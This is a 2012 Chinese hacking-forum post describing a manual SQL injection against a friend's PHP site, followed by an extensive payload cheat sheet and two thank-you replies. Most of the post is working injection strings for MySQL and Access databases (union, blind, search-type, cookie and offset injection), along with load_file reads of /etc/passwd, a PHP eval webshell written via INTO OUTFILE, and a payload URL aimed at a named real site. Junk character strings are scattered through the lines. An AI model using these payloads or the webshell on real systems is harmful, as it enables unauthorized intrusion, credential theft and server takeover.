中国网络渗透测试联盟

标题: 手工注入拿下一站 [打印本页]

作者: admin    时间: 2012-9-23 14:47
标题: 手工注入拿下一站
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
/ l8 s* S- s* g% q; k# O& h" ^让我看看,既然人家开口了,我也不好拒绝,那就看看吧?% y8 [$ ]0 A' s4 w2 l8 E* F  T
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。$ M0 m; H8 s) z7 ?& h5 y( A
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。): d3 t' p# \% u: J
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
9 s3 K, z  R3 Y这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
$ Y: L+ Z# N- D! N4 v" SWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in9 S+ z1 z  D9 Z+ P" k
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
6 w& Y% R: q4 x+ i4 E( I/ A, O( S                        
. I* [$ S! l0 i/ ^; x* r7 y2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,2 c, U" B! @8 ^1 G- O! c% b
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
, ~: Q0 U8 v' B( }8 v$ E4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息0 j8 \7 T* q0 g+ L- s
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。  J: Z8 g6 H6 L4 z
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,* [- X! m! M( l
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
. [1 j4 Y, T; I& t我就用的是第二个思路,* O# s  R, ^+ V
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  0 p& I4 I, d1 [: l  ~* A- b- G
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
! C3 a. b: n8 g2 e5 j) A提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
. ^' _1 @& f: v- C8 ]注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
# S% k! \! d- }! F7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????4 x( L# a! B* l2 N6 o5 k: w# q8 e1 v* L
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....; k" V+ ~" k* K& ~' U) ^% a
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --- x8 N1 V- d# }+ v1 v  U4 V5 ]$ d& `
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell," o0 a1 O6 S5 V# b: S
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......: w' r4 |5 r8 h8 A9 G$ ?
下面是一些很普遍注入方式资料:* w0 ?, a, R1 n4 w7 G7 r1 Q
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
7 H% O8 ~3 n. O! ^* G1 @: w拆半法
, D' e$ |- G& |+ k######################################
. D/ m; N# H- C) f5 J$ cand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
0 }  z2 o% l  t  rand exists (select * from admin)
. L4 {$ ]  t0 z6 ^0 v3 Hand exists(select id from admin)
+ ^3 O8 H: f% T+ a5 Wand exists(select id from admin where id=1)
7 m; H* n! C0 f# [and exists(select id from admin where id>1)
# _. E: P* t" X- x; e/ }然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 % q2 r; j' U9 M
and exists (select username from admin): p3 I/ m& O5 W3 F
and exists (select password from admin)* K8 m( V1 t: ?% j0 V# q/ `% D
and exists (select id from admin where len(username)<10 and id=1)+ y/ p9 @6 I8 F3 p' ^7 }; ^3 B
and exists (select id from admin where len(username)>5 and id=1)
# y6 g7 y3 s$ l5 }2 d3 a' Zand exists (select id from admin where len(username)=6 and id=1)) ]7 f7 \8 h. g! Y  b
and exists (select id from admin where len(password)<10 and id=1)1 B" O' C5 x+ o
and exists (select id from admin where len(password)>5 and id=1)/ F+ l- M+ a3 I# w; G$ b5 y# x: `
and exists (select id from admin where len(password)=7 and id=1)+ T, r9 J7 k% m
and (select top 1 asc(mid(username,1,1)) from admin)=97/ ?0 [$ E2 M  Q
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
: H, i( H6 O+ f( k) M1 @* _/ y' ]0 K猜第二位把username,1,1改成username,2,1就可以了。
5 l# C6 n# W: M2 X2 c猜密码把username改成password就OK了) q4 O0 n5 L8 b2 T" k1 K
##################################################
8 C3 k5 F# s% N4 |" M+ S搜索型注入  ]* T7 w9 s# @# {3 `
##################################
. i6 r* W' ^: y  L" q%' and 1=1 and '%'='. W) X7 {6 y! w" t/ G( e; N! `
%' and exists (select * from admin) and '%'='
2 h) ?" U  F% ^%' and exists(select id from admin where id=1) and '%'='
2 e3 x% K% I- b3 L%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
8 m$ {- ~6 }. ]: D! e%' and exists (select id from admin where len(password)=7 and id=1) and '%'='! y7 s& j2 |3 M* {# I
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
  ~' I6 s; x, x6 u  N% K  C) o这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
2 P% l; F: D# ~2 W对于MSSQL数据库,后面可以吧 and '%'='换成--
2 P5 ^1 G1 f: C6 _还有一点搜索型注入也可以使用union语句。
; x$ |- @1 @& {########################################################
; D% U7 i' y; e# w7 L: q7 B% q联合查询。" [: R! [( G) q  Z
#####################################
0 E  J' N+ P0 Morder by 10" U; v$ B) Q; w+ x6 `. ?
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
( C7 E% t% d% F1 y, Wand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
7 L; Q4 m) N- G8 W, D3 ~and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=17 ]$ g1 h! |8 H4 d5 b0 J( I- j/ v
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)* i; O9 c9 m* ~1 C
###################################  u+ f7 h& x3 ]1 w" v
cookie注入3 w( H, _/ ~* w
###############################$ n+ s* ^+ w- ~4 m5 E: M  s
http://www.******.com/shownews.asp?id=1274 E' E# x% Q3 j, a; y) [3 H: @" q  d
http://www.******.com/shownews.asp
. d3 ]' Z8 B+ Nalert(="id="+escape("127"));* i) [) A' [/ ^
alert(="id="+escape("127 and 1=1"));
+ L( {% Q0 D1 Q; F8 Z8 @alert(="id="+escape("127 order by 10"));
7 {, M9 ~$ A6 n1 ^, N/ ualert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));6 H1 h( p5 F# b# B- a2 T& e  V9 J5 y
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));* X/ M( q; F: E9 |; [. X
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。8 ~+ A+ f. M$ H/ R
###################################
9 o% d6 u) f- G! C偏移注入
4 `/ H8 F! I' j1 ~$ K1 L; J( U###########################################################2 O) L9 X) a; _# ~
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin- U3 G# h' u! F
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
- x0 m( g- D/ X; ]union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
; B* o  I) [* A" {9 Hunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)- w! e/ R8 h8 P
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)1 t+ E: h4 p4 E2 l+ p/ F
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
( g) H3 Z7 ^% q3 iunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on% B9 o: l+ G' _' |! y$ @- B
a.id=d.id)
5 Q! p8 W3 p: C# `" Q/ M7 Pand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
4 S% g5 m4 }' q/ d' V, Mand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
2 I# Q* N; v" ~$ O, r" i  
) e; Y' H+ _& H============================================================================================================# {% Z- o1 V4 `  m! |" X
1.判断版本
; _- v7 U5 [  y, ^5 O' c( Iand ord(mid(version(),1,1))>51% s1 n" G% l8 {$ I3 p
返回正常,说明大于4.0版本,支持ounion查询
2 ?& n# S* T4 d3 p, m  k) G2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
& i* w9 r8 q5 g! J* Q( E( O. b; t0 C( Vand 2=4 union select 1,2,3,4,5,6,7,8,9--
" _4 t+ ^+ ]/ P; L+ K. P3.查看数据库版本及当前用户,
8 h# U# T) e7 n6 [& fand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
+ W- n9 {( v. I  Y4 i# U. z数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,6 p8 P0 @* R3 E( l
4.判断有没有写权限
( M: q4 `' x" x: Cand (select count(*) from MySQL.user)>0--
$ Y4 K/ G; s7 K- e' r9 |5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
0 u3 N6 ?; \! f用不了这个命令,就学习土耳其黑客手法,如下9 P5 \6 S3 z5 C/ u5 P+ _% G
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
0 ^0 q3 F  V2 i( f; Z3 F4 \* O6.爆表,爆库- A: o8 }6 ~- x( Y
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
! ^8 a7 ?% l; C; Z8 L1 _7.爆列名,爆表. J1 W( a$ M3 ~3 ^- q1 O
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--3 T5 d8 I' E1 z9 E! a* Q
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
: I# A% v- C' u- @and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--1 R. x: N  Z4 Z/ n  M8 n" c/ z
9.爆字段内容
: n3 D: v# h6 vand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--# k, B4 @6 w  u4 @6 q& {
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
作者: xiancda    时间: 2012-9-24 21:40
非常好的归纳。坐下慢慢看~
作者: wuyu    时间: 2012-9-25 18:53
谢谢分享,学习思路啊




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2